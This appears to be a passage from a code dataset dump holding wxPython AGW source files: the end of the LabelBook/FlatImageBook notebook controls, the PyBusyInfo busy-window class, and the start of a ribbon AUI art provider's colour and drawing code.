`GetCurrentPage`\")\n Page = property(GetPage, doc=\"See `GetPage`\") \n PageCount = property(GetPageCount, doc=\"See `GetPageCount`\") \n PageImage = property(GetPageImage, SetPageImage, doc=\"See `GetPageImage, SetPageImage`\") \n PageText = property(GetPageText, SetPageText, doc=\"See `GetPageText, SetPageText`\") \n Selection = property(GetSelection, SetSelection, doc=\"See `GetSelection, SetSelection`\") \n \n \n# ---------------------------------------------------------------------------- #\n# Class FlatImageBook\n# ---------------------------------------------------------------------------- #\n \nclass FlatImageBook(FlatBookBase):\n \"\"\"\n Default implementation of the image book, it is like a `wx.Notebook`, except that\n images are used to control the different pages. This container is usually used\n for configuration dialogs etc.\n \n :note: Currently, this control works properly for images of size 32x32 and bigger.\n \"\"\"\n\n def __init__(self, parent, id=wx.ID_ANY, pos=wx.DefaultPosition, size=wx.DefaultSize,\n style=0, agwStyle=0, name=\"FlatImageBook\"):\n \"\"\"\n Default class constructor.\n\n :param `parent`: parent window. Must not be ``None``;\n :param `id`: window identifier. A value of -1 indicates a default value;\n :param `pos`: the control position. A value of (-1, -1) indicates a default position,\n chosen by either the windowing system or wxPython, depending on platform;\n :param `size`: the control size. A value of (-1, -1) indicates a default size,\n chosen by either the windowing system or wxPython, depending on platform;\n :param `style`: the underlying `wx.Panel` window style;\n :param `agwStyle`: the AGW-specific window style. This can be a combination of the\n following bits:\n\n =========================== =========== ==================================================\n Window Styles Hex Value Description\n =========================== =========== ==================================================\n ``INB_BOTTOM`` 0x1 Place labels below the page area. Available only for L{FlatImageBook}.\n ``INB_LEFT`` 0x2 Place labels on the left side. Available only for L{FlatImageBook}.\n ``INB_RIGHT`` 0x4 Place labels on the right side.\n ``INB_TOP`` 0x8 Place labels above the page area.\n ``INB_BORDER`` 0x10 Draws a border around L{LabelBook} or L{FlatImageBook}.\n ``INB_SHOW_ONLY_TEXT`` 0x20 Shows only text labels and no images. Available only for L{LabelBook}.\n ``INB_SHOW_ONLY_IMAGES`` 0x40 Shows only tab images and no label texts. Available only for L{LabelBook}.\n ``INB_FIT_BUTTON`` 0x80 Displays a pin button to show/hide the book control.\n ``INB_DRAW_SHADOW`` 0x100 Draw shadows below the book tabs. Available only for L{LabelBook}.\n ``INB_USE_PIN_BUTTON`` 0x200 Displays a pin button to show/hide the book control.\n ``INB_GRADIENT_BACKGROUND`` 0x400 Draws a gradient shading on the tabs background. Available only for L{LabelBook}.\n ``INB_WEB_HILITE`` 0x800 On mouse hovering, tabs behave like html hyperlinks. Available only for L{LabelBook}.\n ``INB_NO_RESIZE`` 0x1000 Don't allow resizing of the tab area.\n ``INB_FIT_LABELTEXT`` 0x2000 Will fit the tab area to the longest text (or text+image if you have images) in all the tabs.\n =========================== =========== ==================================================\n\n :param `name`: the window name. \n \"\"\"\n \n FlatBookBase.__init__(self, parent, id, pos, size, style, agwStyle, name)\n \n self._pages = self.CreateImageContainer()\n\n if agwStyle & INB_LEFT or agwStyle & INB_RIGHT:\n self._mainSizer = wx.BoxSizer(wx.HORIZONTAL)\n else:\n self._mainSizer = wx.BoxSizer(wx.VERTICAL)\n\n self.SetSizer(self._mainSizer)\n\n # Add the tab container to the sizer\n self._mainSizer.Add(self._pages, 0, wx.EXPAND)\n\n if agwStyle & INB_LEFT or agwStyle & INB_RIGHT:\n self._pages.SetSizeHints(self._pages.GetImageSize() * 2, -1)\n else:\n self._pages.SetSizeHints(-1, self._pages.GetImageSize() * 2)\n\n self._mainSizer.Layout()\n \n \n def CreateImageContainer(self):\n \"\"\" Creates the image container class for L{FlatImageBook}. \"\"\"\n\n return ImageContainer(self, wx.ID_ANY, agwStyle=self.GetAGWWindowStyleFlag())\n\n\n# ---------------------------------------------------------------------------- #\n# Class LabelBook\n# ---------------------------------------------------------------------------- #\n\nclass LabelBook(FlatBookBase):\n \"\"\"\n An implementation of a notebook control - except that instead of having\n tabs to show labels, it labels to the right or left (arranged horizontally).\n \"\"\"\n \n def __init__(self, parent, id=wx.ID_ANY, pos=wx.DefaultPosition, size=wx.DefaultSize,\n style=0, agwStyle=0, name=\"LabelBook\"):\n \"\"\"\n Default class constructor.\n\n :param `parent`: parent window. Must not be ``None``;\n :param `id`: window identifier. A value of -1 indicates a default value;\n :param `pos`: the control position. A value of (-1, -1) indicates a default position,\n chosen by either the windowing system or wxPython, depending on platform;\n :param `size`: the control size. A value of (-1, -1) indicates a default size,\n chosen by either the windowing system or wxPython, depending on platform;\n :param `style`: the underlying `wx.Panel` window style;\n :param `agwStyle`: the AGW-specific window style. This can be a combination of the\n following bits:\n\n =========================== =========== ==================================================\n Window Styles Hex Value Description\n =========================== =========== ==================================================\n ``INB_BOTTOM`` 0x1 Place labels below the page area. Available only for L{FlatImageBook}.\n ``INB_LEFT`` 0x2 Place labels on the left side. Available only for L{FlatImageBook}.\n ``INB_RIGHT`` 0x4 Place labels on the right side.\n ``INB_TOP`` 0x8 Place labels above the page area.\n ``INB_BORDER`` 0x10 Draws a border around L{LabelBook} or L{FlatImageBook}.\n ``INB_SHOW_ONLY_TEXT`` 0x20 Shows only text labels and no images. Available only for L{LabelBook}.\n ``INB_SHOW_ONLY_IMAGES`` 0x40 Shows only tab images and no label texts. Available only for L{LabelBook}.\n ``INB_FIT_BUTTON`` 0x80 Displays a pin button to show/hide the book control.\n ``INB_DRAW_SHADOW`` 0x100 Draw shadows below the book tabs. Available only for L{LabelBook}.\n ``INB_USE_PIN_BUTTON`` 0x200 Displays a pin button to show/hide the book control.\n ``INB_GRADIENT_BACKGROUND`` 0x400 Draws a gradient shading on the tabs background. Available only for L{LabelBook}.\n ``INB_WEB_HILITE`` 0x800 On mouse hovering, tabs behave like html hyperlinks. Available only for L{LabelBook}.\n ``INB_NO_RESIZE`` 0x1000 Don't allow resizing of the tab area.\n ``INB_FIT_LABELTEXT`` 0x2000 Will fit the tab area to the longest text (or text+image if you have images) in all the tabs.\n =========================== =========== ==================================================\n\n :param `name`: the window name. \n \"\"\"\n \n FlatBookBase.__init__(self, parent, id, pos, size, style, agwStyle, name)\n \n self._pages = self.CreateImageContainer()\n\n # Label book specific initialization\n self._mainSizer = wx.BoxSizer(wx.HORIZONTAL)\n self.SetSizer(self._mainSizer)\n\n # Add the tab container to the sizer\n self._mainSizer.Add(self._pages, 0, wx.EXPAND)\n self._pages.SetSizeHints(self._pages.GetTabAreaWidth(), -1)\n\n # Initialize the colours maps\n self._pages.InitializeColours()\n\n self.Bind(wx.EVT_SIZE, self.OnSize)\n \n\n def CreateImageContainer(self):\n \"\"\" Creates the image container (LabelContainer) class for L{FlatImageBook}. \"\"\"\n\n return LabelContainer(self, wx.ID_ANY, agwStyle=self.GetAGWWindowStyleFlag())\n\n\n def SetColour(self, which, colour):\n \"\"\"\n Sets the colour for the specified parameter.\n\n :param `which`: the colour key;\n :param `colour`: a valid `wx.Colour` instance.\n\n :see: L{LabelContainer.SetColour} for a list of valid colour keys.\n \"\"\"\n\n self._pages.SetColour(which, colour)\n\n\n def GetColour(self, which):\n \"\"\"\n Returns the colour for the specified parameter.\n\n :param `which`: the colour key.\n\n :see: L{LabelContainer.SetColour} for a list of valid colour keys.\n \"\"\"\n\n return self._pages.GetColour(which)\n \n \n def OnSize(self, event):\n \"\"\"\n Handles the ``wx.EVT_SIZE`` event for L{LabelBook}.\n\n :param `event`: a `wx.SizeEvent` event to be processed.\n \"\"\"\n\n self._pages.Refresh()\n event.Skip()\n\n\n", "id": "6628393", "language": "Python", "matching_score": 7.381802082061768, "max_stars_count": 11, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/lib/agw/labelbook.py" }, { "content": "\"\"\"\nPyBusyInfo constructs a busy info window and displays a message in it.\n\n\nDescription\n===========\n\nPyBusyInfo constructs a busy info window and displays a message in it.\n\nThis class makes it easy to tell your user that the program is temporarily busy.\nJust create a PyBusyInfo object, and within the current scope, a message window\nwill be shown.\n\nFor example::\n\n busy = PyBusyInfo(\"Please wait, working...\")\n\n for i in xrange(10000):\n DoACalculation()\n\n del busy\n\n\nIt works by creating a window in the constructor, and deleting it in the destructor.\nYou may also want to call `wx.Yield()` to refresh the window periodically (in case\nit had been obscured by other windows, for example).\n\n\nSupported Platforms\n===================\n\nPyBusyInfo has been tested on the following platforms:\n * Windows (Windows XP).\n\n\nWindow Styles\n=============\n\n`No particular window styles are available for this class.`\n\n\nEvents Processing\n=================\n\n`No custom events are available for this class.`\n\n\nLicense And Version\n===================\n\nPyBusyInfo is distributed under the wxPython license.\n\nLatest Revision: <NAME> @ 03 Dec 2009, 09.00 GMT\n\nVersion 0.1\n\n\"\"\"\n\n\nimport wx\n\n_ = wx.GetTranslation\n\n\nclass PyInfoFrame(wx.Frame):\n \"\"\" Base class for L{PyBusyInfo}. \"\"\"\n\n def __init__(self, parent, message, title, icon):\n \"\"\"\n Default class constructor.\n \n :param `parent`: the frame parent;\n :param `message`: the message to display in the L{PyBusyInfo};\n :param `title`: the main L{PyBusyInfo} title;\n :param `icon`: an icon to draw as the frame icon, an instance of `wx.Bitmap`.\n \"\"\"\n \n wx.Frame.__init__(self, parent, wx.ID_ANY, title, wx.DefaultPosition,\n wx.DefaultSize, wx.NO_BORDER|wx.FRAME_TOOL_WINDOW|wx.FRAME_SHAPED|wx.STAY_ON_TOP)\n\n panel = wx.Panel(self)\n panel.SetCursor(wx.HOURGLASS_CURSOR)\n\n self._message = message\n self._title = title\n self._icon = icon\n\n dc = wx.ClientDC(self)\n textWidth, textHeight, dummy = dc.GetMultiLineTextExtent(self._message)\n sizeText = wx.Size(textWidth, textHeight)\n\n self.SetClientSize((max(sizeText.x, 340) + 60, max(sizeText.y, 40) + 60))\n # need to size the panel correctly first so that text.Centre() works\n panel.SetSize(self.GetClientSize())\n\n # Bind the events to draw ourselves\n panel.Bind(wx.EVT_PAINT, self.OnPaint)\n panel.Bind(wx.EVT_ERASE_BACKGROUND, self.OnErase)\n \n self.Centre(wx.BOTH)\n\n # Create a non-rectangular region to set the frame shape\n size = self.GetSize()\n bmp = wx.EmptyBitmap(size.x, size.y)\n dc = wx.BufferedDC(None, bmp)\n dc.SetBackground(wx.Brush(wx.Colour(0, 0, 0), wx.SOLID))\n dc.Clear()\n dc.SetPen(wx.Pen(wx.Colour(0, 0, 0), 1))\n dc.DrawRoundedRectangle(0, 0, size.x, size.y, 12) \n r = wx.RegionFromBitmapColour(bmp, wx.Colour(0, 0, 0))\n # Store the non-rectangular region\n self.reg = r\n\n if wx.Platform == \"__WXGTK__\":\n self.Bind(wx.EVT_WINDOW_CREATE, self.SetBusyShape)\n else:\n self.SetBusyShape()\n\n # Add a custom bitmap at the top (if any)\n\n\n def SetBusyShape(self, event=None):\n \"\"\"\n Sets L{PyInfoFrame} shape using the region created from the bitmap.\n\n :param `event`: a `wx.WindowCreateEvent` event (GTK only, as GTK supports setting\n the window shape only during window creation).\n \"\"\"\n\n self.SetShape(self.reg)\n if event:\n # GTK only\n event.Skip()\n \n\n def OnPaint(self, event):\n \"\"\"\n Handles the ``wx.EVT_PAINT`` event for L{PyInfoFrame}.\n\n :param `event`: a `wx.PaintEvent` to be processed.\n \"\"\"\n\n panel = event.GetEventObject()\n \n dc = wx.BufferedPaintDC(panel)\n dc.Clear()\n\n # Fill the background with a gradient shading\n startColour = wx.SystemSettings_GetColour(wx.SYS_COLOUR_ACTIVECAPTION)\n endColour = wx.WHITE\n\n rect = panel.GetRect()\n dc.GradientFillLinear(rect, startColour, endColour, wx.SOUTH)\n\n # Draw the label\n font = wx.SystemSettings_GetFont(wx.SYS_DEFAULT_GUI_FONT)\n dc.SetFont(font)\n\n # Draw the message\n rect2 = wx.Rect(*rect)\n rect2.height += 20\n dc.DrawLabel(self._message, rect2, alignment=wx.ALIGN_CENTER|wx.ALIGN_CENTER)\n\n # Draw the top title\n font.SetWeight(wx.BOLD)\n dc.SetFont(font)\n dc.SetPen(wx.Pen(wx.SystemSettings_GetColour(wx.SYS_COLOUR_CAPTIONTEXT)))\n dc.SetTextForeground(wx.SystemSettings_GetColour(wx.SYS_COLOUR_CAPTIONTEXT))\n\n if self._icon.IsOk():\n iconWidth, iconHeight = self._icon.GetWidth(), self._icon.GetHeight()\n dummy, textHeight = dc.GetTextExtent(self._title)\n textXPos, textYPos = iconWidth + 10, (iconHeight-textHeight)/2\n dc.DrawBitmap(self._icon, 5, 5, True)\n else:\n textXPos, textYPos = 5, 0\n \n dc.DrawText(self._title, textXPos, textYPos+5)\n dc.DrawLine(5, 25, rect.width-5, 25)\n\n size = self.GetSize()\n dc.SetPen(wx.Pen(startColour, 1))\n dc.SetBrush(wx.TRANSPARENT_BRUSH)\n dc.DrawRoundedRectangle(0, 0, size.x, size.y-1, 12)\n \n\n def OnErase(self, event):\n \"\"\"\n Handles the ``wx.EVT_ERASE_BACKGROUND`` event for L{PyInfoFrame}.\n\n :param `event`: a `wx.EraseEvent` event to be processed.\n\n :note: This method is intentionally empty to reduce flicker. \n \"\"\"\n\n # This is empty on purpose, to avoid flickering\n pass\n\n \n# -------------------------------------------------------------------- #\n# The actual PyBusyInfo implementation\n# -------------------------------------------------------------------- #\n\nclass PyBusyInfo(object):\n \"\"\"\n Constructs a busy info window as child of parent and displays a message in it.\n \"\"\"\n\n def __init__(self, message, parent=None, title=_(\"Busy\"), icon=wx.NullBitmap):\n \"\"\"\n Default class constructor.\n \n :param `parent`: the L{PyBusyInfo} parent;\n :param `message`: the message to display in the L{PyBusyInfo};\n :param `title`: the main L{PyBusyInfo} title;\n :param `icon`: an icon to draw as the frame icon, an instance of `wx.Bitmap`.\n\n :note: If `parent` is not ``None`` you must ensure that it is not closed\n while the busy info is shown.\n \"\"\"\n\n self._infoFrame = PyInfoFrame(parent, message, title, icon)\n\n if parent and parent.HasFlag(wx.STAY_ON_TOP):\n # we must have this flag to be in front of our parent if it has it\n self._infoFrame.SetWindowStyleFlag(wx.STAY_ON_TOP)\n \n self._infoFrame.Show(True)\n self._infoFrame.Refresh()\n self._infoFrame.Update()\n \n\n def __del__(self):\n \"\"\" Overloaded method, for compatibility with wxWidgets. \"\"\"\n\n self._infoFrame.Show(False)\n self._infoFrame.Destroy()\n\n\n \n", "id": "2717945", "language": "Python", "matching_score": 2.983137369155884, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/lib/agw/pybusyinfo.py" }, { "content": "\"\"\"\nL{RibbonAUIArtProvider} is responsible for drawing all the components of the ribbon\ninterface using an AUI-compatible appearance.\n\n\nDescription\n===========\n\nThis allows a ribbon bar to have a pluggable look-and-feel, while retaining the same\nunderlying behaviour. As a single art provider is used for all ribbon components, a\nribbon bar usually has a consistent (though unique) appearance.\n\nBy default, a L{RibbonBar} uses an instance of a class called `RibbonDefaultArtProvider`,\nwhich resolves to `RibbonAUIArtProvider`, `RibbonMSWArtProvider`, or `RibbonOSXArtProvider`\n- whichever is most appropriate to the current platform. These art providers are all\nslightly configurable with regard to colours and fonts, but for larger modifications,\nyou can derive from one of these classes, or write a completely new art provider class.\n\nCall L{RibbonBar.SetArtProvider} to change the art provider being used.\n\n\nSee Also\n========\n\nL{RibbonBar}\n\"\"\"\n\nimport wx\n\nfrom math import cos\nfrom math import pi as M_PI\n\nfrom art_msw import RibbonMSWArtProvider\nfrom art_internal import RibbonHSLColour, RibbonShiftLuminance, RibbonInterpolateColour\n\nimport bar as BAR, panel as PANEL\n\nfrom art import *\n\nif wx.Platform == \"__WXMAC__\":\n import Carbon.Appearance\n\n\ndef FontFromFont(original):\n\n newFont = wx.Font(original.GetPointSize(), original.GetFamily(),\n original.GetStyle(), original.GetWeight(), original.GetUnderlined(),\n original.GetFaceName(), original.GetEncoding())\n\n return newFont\n\n \nclass RibbonAUIArtProvider(RibbonMSWArtProvider):\n\n def __init__(self):\n\n RibbonMSWArtProvider.__init__(self)\n \n if wx.Platform == \"__WXMAC__\":\n\n if hasattr(wx, 'MacThemeColour'):\n base_colour = wx.MacThemeColour(Carbon.Appearance.kThemeBrushToolbarBackground)\n else:\n brush = wx.Brush(wx.BLACK)\n brush.MacSetTheme(Carbon.Appearance.kThemeBrushToolbarBackground)\n base_colour = brush.GetColour()\n else:\n \n base_colour = wx.SystemSettings.GetColour(wx.SYS_COLOUR_3DFACE)\n\n self.SetColourScheme(base_colour, wx.SystemSettings.GetColour(wx.SYS_COLOUR_HIGHLIGHT),\n wx.SystemSettings.GetColour(wx.SYS_COLOUR_HIGHLIGHTTEXT))\n\n self._tab_active_label_font = FontFromFont(self._tab_label_font)\n self._tab_active_label_font.SetWeight(wx.FONTWEIGHT_BOLD)\n\n self._page_border_left = 1\n self._page_border_right = 1\n self._page_border_top = 1\n self._page_border_bottom = 2\n self._tab_separation_size = 0\n\n self._gallery_bitmap_padding_left_size = 3\n self._gallery_bitmap_padding_right_size = 3\n self._gallery_bitmap_padding_top_size = 3\n self._gallery_bitmap_padding_bottom_size = 3\n\n\n def Clone(self):\n \"\"\"\n Create a new art provider which is a clone of this one.\n \"\"\"\n\n copy = RibbonAUIArtProvider()\n self.CloneTo(copy)\n\n copy._tab_ctrl_background_colour = self._tab_ctrl_background_colour\n copy._tab_ctrl_background_gradient_colour = self._tab_ctrl_background_gradient_colour\n copy._panel_label_background_colour = self._panel_label_background_colour\n copy._panel_label_background_gradient_colour = self._panel_label_background_gradient_colour\n copy._panel_hover_label_background_colour = self._panel_hover_label_background_colour\n copy._panel_hover_label_background_gradient_colour = self._panel_hover_label_background_gradient_colour\n\n copy._background_brush = self._background_brush\n copy._tab_active_top_background_brush = self._tab_active_top_background_brush\n copy._tab_hover_background_brush = self._tab_hover_background_brush\n copy._button_bar_hover_background_brush = self._button_bar_hover_background_brush\n copy._button_bar_active_background_brush = self._button_bar_active_background_brush\n copy._gallery_button_active_background_brush = self._gallery_button_active_background_brush\n copy._gallery_button_hover_background_brush = self._gallery_button_hover_background_brush\n copy._gallery_button_disabled_background_brush = self._gallery_button_disabled_background_brush\n\n copy._toolbar_hover_borden_pen = self._toolbar_hover_borden_pen\n copy._tool_hover_background_brush = self._tool_hover_background_brush\n copy._tool_active_background_brush = self._tool_active_background_brush\n\n return copy\n\n\n def SetFont(self, id, font):\n \"\"\"\n Set the value of a certain font setting to the value.\n\n can be one of the font values of `RibbonArtSetting`.\n\n :param `id`: the font id;\n :param `font`: MISSING DESCRIPTION.\n\n \"\"\"\n\n RibbonMSWArtProvider.SetFont(self, id, font)\n \n if id == RIBBON_ART_TAB_LABEL_FONT: \n self._tab_active_label_font = FontFromFont(self._tab_label_font)\n self._tab_active_label_font.SetWeight(wx.FONTWEIGHT_BOLD)\n \n\n def GetColour(self, id):\n \"\"\"\n Get the value of a certain colour setting.\n\n can be one of the colour values of `RibbonArtSetting`.\n\n :param `id`: the colour id.\n\n \"\"\"\n\n if id in [RIBBON_ART_PAGE_BACKGROUND_COLOUR, RIBBON_ART_PAGE_BACKGROUND_GRADIENT_COLOUR]:\n return self._background_brush.GetColour()\n elif id == RIBBON_ART_TAB_CTRL_BACKGROUND_COLOUR:\n return self._tab_ctrl_background_colour\n elif id == RIBBON_ART_TAB_CTRL_BACKGROUND_GRADIENT_COLOUR:\n return self._tab_ctrl_background_gradient_colour\n elif id in [RIBBON_ART_TAB_ACTIVE_BACKGROUND_TOP_COLOUR, RIBBON_ART_TAB_ACTIVE_BACKGROUND_TOP_GRADIENT_COLOUR]:\n return self._tab_active_top_background_brush.GetColour()\n elif id in [RIBBON_ART_TAB_HOVER_BACKGROUND_COLOUR, RIBBON_ART_TAB_HOVER_BACKGROUND_GRADIENT_COLOUR]:\n return self._tab_hover_background_brush.GetColour()\n elif id == RIBBON_ART_PANEL_LABEL_BACKGROUND_COLOUR:\n return self._panel_label_background_colour\n elif id == RIBBON_ART_PANEL_LABEL_BACKGROUND_GRADIENT_COLOUR:\n return self._panel_label_background_gradient_colour\n elif id == RIBBON_ART_PANEL_HOVER_LABEL_BACKGROUND_COLOUR:\n return self._panel_hover_label_background_colour\n elif id == RIBBON_ART_PANEL_HOVER_LABEL_BACKGROUND_GRADIENT_COLOUR:\n return self._panel_hover_label_background_gradient_colour\n elif id in [RIBBON_ART_BUTTON_BAR_HOVER_BACKGROUND_COLOUR, RIBBON_ART_BUTTON_BAR_HOVER_BACKGROUND_GRADIENT_COLOUR]:\n return self._button_bar_hover_background_brush.GetColour()\n elif id in [RIBBON_ART_GALLERY_BUTTON_HOVER_BACKGROUND_COLOUR, RIBBON_ART_GALLERY_BUTTON_HOVER_BACKGROUND_GRADIENT_COLOUR]:\n return self._gallery_button_hover_background_brush.GetColour()\n elif id in [RIBBON_ART_GALLERY_BUTTON_ACTIVE_BACKGROUND_COLOUR, RIBBON_ART_GALLERY_BUTTON_ACTIVE_BACKGROUND_GRADIENT_COLOUR]:\n return self._gallery_button_active_background_brush.GetColour()\n elif id in [RIBBON_ART_GALLERY_BUTTON_DISABLED_BACKGROUND_COLOUR, RIBBON_ART_GALLERY_BUTTON_DISABLED_BACKGROUND_GRADIENT_COLOUR]:\n return self._gallery_button_disabled_background_brush.GetColour()\n else:\n return RibbonMSWArtProvider.GetColour(self, id)\n \n\n def SetColour(self, id, colour):\n \"\"\"\n Set the value of a certain colour setting to the value.\n\n can be one of the colour values of `RibbonArtSetting`, though not all colour\n settings will have an affect on every art provider.\n\n :param `id`: the colour id;\n :param `colour`: MISSING DESCRIPTION.\n\n :see: L{SetColourScheme}\n \"\"\"\n\n if id in [RIBBON_ART_PAGE_BACKGROUND_COLOUR, RIBBON_ART_PAGE_BACKGROUND_GRADIENT_COLOUR]:\n self._background_brush.SetColour(colour)\n elif id == RIBBON_ART_TAB_CTRL_BACKGROUND_COLOUR:\n self._tab_ctrl_background_colour = colour\n elif id == RIBBON_ART_TAB_CTRL_BACKGROUND_GRADIENT_COLOUR:\n self._tab_ctrl_background_gradient_colour = colour\n elif id in [RIBBON_ART_TAB_ACTIVE_BACKGROUND_TOP_COLOUR, RIBBON_ART_TAB_ACTIVE_BACKGROUND_TOP_GRADIENT_COLOUR]:\n self._tab_active_top_background_brush.SetColour(colour)\n elif id in [RIBBON_ART_TAB_HOVER_BACKGROUND_COLOUR, RIBBON_ART_TAB_HOVER_BACKGROUND_GRADIENT_COLOUR]:\n self._tab_hover_background_brush.SetColour(colour)\n elif id == RIBBON_ART_PANEL_LABEL_BACKGROUND_COLOUR:\n self._panel_label_background_colour = colour\n elif id == RIBBON_ART_PANEL_LABEL_BACKGROUND_GRADIENT_COLOUR:\n self._panel_label_background_gradient_colour = colour\n elif id in [RIBBON_ART_BUTTON_BAR_HOVER_BACKGROUND_COLOUR, RIBBON_ART_BUTTON_BAR_HOVER_BACKGROUND_GRADIENT_COLOUR]:\n self._button_bar_hover_background_brush.SetColour(colour)\n elif id in [RIBBON_ART_GALLERY_BUTTON_HOVER_BACKGROUND_COLOUR, RIBBON_ART_GALLERY_BUTTON_HOVER_BACKGROUND_GRADIENT_COLOUR]:\n self._gallery_button_hover_background_brush.SetColour(colour)\n elif id in [RIBBON_ART_GALLERY_BUTTON_ACTIVE_BACKGROUND_COLOUR, RIBBON_ART_GALLERY_BUTTON_ACTIVE_BACKGROUND_GRADIENT_COLOUR]:\n self._gallery_button_active_background_brush.SetColour(colour)\n elif id in [RIBBON_ART_GALLERY_BUTTON_DISABLED_BACKGROUND_COLOUR, RIBBON_ART_GALLERY_BUTTON_DISABLED_BACKGROUND_GRADIENT_COLOUR]:\n self._gallery_button_disabled_background_brush.SetColour(colour)\n else:\n RibbonMSWArtProvider.SetColour(self, id, colour)\n \n\n def SetColourScheme(self, primary, secondary, tertiary):\n \"\"\"\n Set all applicable colour settings from a few base colours.\n\n Uses any or all of the three given colours to create a colour scheme, and then\n sets all colour settings which are relevant to the art provider using that\n scheme. Note that some art providers may not use the tertiary colour for\n anything, and some may not use the secondary colour either.\n\n :param `primary`: MISSING DESCRIPTION;\n :param `secondary`: MISSING DESCRIPTION;\n :param `tertiary`: MISSING DESCRIPTION.\n\n :see: L{SetColour}, L{RibbonMSWArtProvider.GetColourScheme}\n \"\"\"\n\n primary_hsl = RibbonHSLColour(primary)\n secondary_hsl = RibbonHSLColour(secondary)\n tertiary_hsl = RibbonHSLColour(tertiary)\n\n # Map primary & secondary luminance from [0, 1] to [0.15, 0.85]\n primary_hsl.luminance = cos(primary_hsl.luminance * M_PI) * -0.35 + 0.5\n secondary_hsl.luminance = cos(secondary_hsl.luminance * M_PI) * -0.35 + 0.5\n\n # TODO: Remove next line once this provider stops piggybacking MSW\n RibbonMSWArtProvider.SetColourScheme(self, primary, secondary, tertiary)\n\n self._tab_ctrl_background_colour = RibbonShiftLuminance(primary_hsl, 0.9).ToRGB()\n self._tab_ctrl_background_gradient_colour = RibbonShiftLuminance(primary_hsl, 1.7).ToRGB()\n self._tab_border_pen = wx.Pen(RibbonShiftLuminance(primary_hsl, 0.75).ToRGB())\n self._tab_label_colour = RibbonShiftLuminance(primary_hsl, 0.1).ToRGB()\n self._tab_hover_background_top_colour = primary_hsl.ToRGB()\n self._tab_hover_background_top_gradient_colour = RibbonShiftLuminance(primary_hsl, 1.6).ToRGB()\n self._tab_hover_background_brush = wx.Brush(self._tab_hover_background_top_colour)\n self._tab_active_background_colour = self._tab_ctrl_background_gradient_colour\n self._tab_active_background_gradient_colour = primary_hsl.ToRGB()\n self._tab_active_top_background_brush = wx.Brush(self._tab_active_background_colour)\n self._panel_label_colour = self._tab_label_colour\n self._panel_minimised_label_colour = self._panel_label_colour\n self._panel_hover_label_colour = tertiary_hsl.ToRGB()\n self._page_border_pen = self._tab_border_pen\n self._panel_border_pen = self._tab_border_pen\n self._background_brush = wx.Brush(primary_hsl.ToRGB())\n self._page_hover_background_colour = RibbonShiftLuminance(primary_hsl, 1.5).ToRGB()\n self._page_hover_background_gradient_colour = RibbonShiftLuminance(primary_hsl, 0.9).ToRGB()\n self._panel_label_background_colour = RibbonShiftLuminance(primary_hsl, 0.85).ToRGB()\n self._panel_label_background_gradient_colour = RibbonShiftLuminance(primary_hsl, 0.97).ToRGB()\n self._panel_hover_label_background_gradient_colour = secondary_hsl.ToRGB()\n self._panel_hover_label_background_colour = secondary_hsl.Lighter(0.2).ToRGB()\n self._button_bar_hover_border_pen = wx.Pen(secondary_hsl.ToRGB())\n self._button_bar_hover_background_brush = wx.Brush(RibbonShiftLuminance(secondary_hsl, 1.7).ToRGB())\n self._button_bar_active_background_brush = wx.Brush(RibbonShiftLuminance(secondary_hsl, 1.4).ToRGB())\n self._button_bar_label_colour = self._tab_label_colour\n self._gallery_border_pen = self._tab_border_pen\n self._gallery_item_border_pen = self._button_bar_hover_border_pen\n self._gallery_hover_background_brush = wx.Brush(RibbonShiftLuminance(primary_hsl, 1.2).ToRGB())\n self._gallery_button_background_colour = self._page_hover_background_colour\n self._gallery_button_background_gradient_colour = self._page_hover_background_gradient_colour\n self._gallery_button_hover_background_brush = self._button_bar_hover_background_brush\n self._gallery_button_active_background_brush = self._button_bar_active_background_brush\n self._gallery_button_disabled_background_brush = wx.Brush(primary_hsl.Desaturated(0.15).ToRGB())\n self.SetColour(RIBBON_ART_GALLERY_BUTTON_FACE_COLOUR, RibbonShiftLuminance(primary_hsl, 0.1).ToRGB())\n self.SetColour(RIBBON_ART_GALLERY_BUTTON_DISABLED_FACE_COLOUR, wx.Colour(128, 128, 128))\n self.SetColour(RIBBON_ART_GALLERY_BUTTON_ACTIVE_FACE_COLOUR, RibbonShiftLuminance(secondary_hsl, 0.1).ToRGB())\n self.SetColour(RIBBON_ART_GALLERY_BUTTON_HOVER_FACE_COLOUR, RibbonShiftLuminance(secondary_hsl, 0.1).ToRGB())\n self._toolbar_border_pen = self._tab_border_pen\n self.SetColour(RIBBON_ART_TOOLBAR_FACE_COLOUR, RibbonShiftLuminance(primary_hsl, 0.1).ToRGB())\n self._tool_background_colour = self._page_hover_background_colour\n self._tool_background_gradient_colour = self._page_hover_background_gradient_colour\n self._toolbar_hover_borden_pen = self._button_bar_hover_border_pen\n self._tool_hover_background_brush = self._button_bar_hover_background_brush\n self._tool_active_background_brush = self._button_bar_active_background_brush\n\n\n def DrawTabCtrlBackground(self, dc, wnd, rect):\n \"\"\"\n Draw the background of the tab region of a ribbon bar.\n\n :param `dc`: The device context to draw onto;\n :param `wnd`: The window which is being drawn onto;\n :param `rect`: The rectangle within which to draw.\n\n \"\"\"\n\n gradient_rect = wx.Rect(*rect)\n gradient_rect.height -= 1\n dc.GradientFillLinear(gradient_rect, self._tab_ctrl_background_colour, self._tab_ctrl_background_gradient_colour, wx.SOUTH)\n dc.SetPen(self._tab_border_pen)\n dc.DrawLine(rect.x, rect.GetBottom(), rect.GetRight()+1, rect.GetBottom())\n\n\n def GetTabCtrlHeight(self, dc, wnd, pages):\n \"\"\"\n Calculate the height (in pixels) of the tab region of a ribbon bar.\n\n Note that as the tab region can contain scroll buttons, the height should be\n greater than or equal to the minimum height for a tab scroll button.\n\n :param `dc`: A device context to use when one is required for size calculations;\n :param `wnd`: The window onto which the tabs will eventually be drawn;\n :param `pages`: The tabs which will acquire the returned height.\n\n \"\"\"\n\n text_height = 0\n icon_height = 0\n\n if len(pages) <= 1 and (self._flags & RIBBON_BAR_ALWAYS_SHOW_TABS) == 0: \n # To preserve space, a single tab need not be displayed. We still need\n # one pixel of border though.\n return 1 \n\n if self._flags & RIBBON_BAR_SHOW_PAGE_LABELS: \n dc.SetFont(self._tab_active_label_font)\n text_height = dc.GetTextExtent(\"ABCDEFXj\")[1]\n \n if self._flags & RIBBON_BAR_SHOW_PAGE_ICONS:\n for info in pages:\n if info.page.GetIcon().IsOk(): \n icon_height = max(icon_height, info.page.GetIcon().GetHeight())\n\n return max(text_height, icon_height) + 10\n\n\n def DrawTab(self, dc, wnd, tab):\n \"\"\"\n Draw a single tab in the tab region of a 